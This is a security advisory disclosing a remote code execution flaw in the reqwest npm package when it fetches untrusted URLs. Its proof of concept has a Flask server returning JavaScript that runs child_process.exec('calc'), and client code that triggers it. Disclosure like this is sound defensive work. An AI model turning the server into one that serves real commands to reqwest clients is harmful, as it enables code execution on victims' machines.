Summary
Affected versions of reqwest npm package are vulnerable to remote code execution vulnerability when requesting a malicious URL.
Product
All versions of reqwest npm package.
Impact
This issue may lead to remote code execution if the URL fetched is untrusted input.
Steps to reproduce
- Run the following server:
from flask import Flask, Response
app = Flask(__name__)
@app.route('/')
def hello():
resp = Response("Foo bar baz")
resp.data = 'require("child_process").exec("calc")'
resp.headers["Content-Type"] = "javascript"
return resp
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5555, debug=True)
- Make a get request to the server:
var reqwest = require('reqwest')
reqwest({
url: 'http://localhost:5555/'
, method: 'get'
, success: function (resp) {
qwery('#content').html(resp)
}
})
Expected result:
A calculator will pop up on the server.
Remediation
Currently there is no fix version released.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher Yaniv Nizry.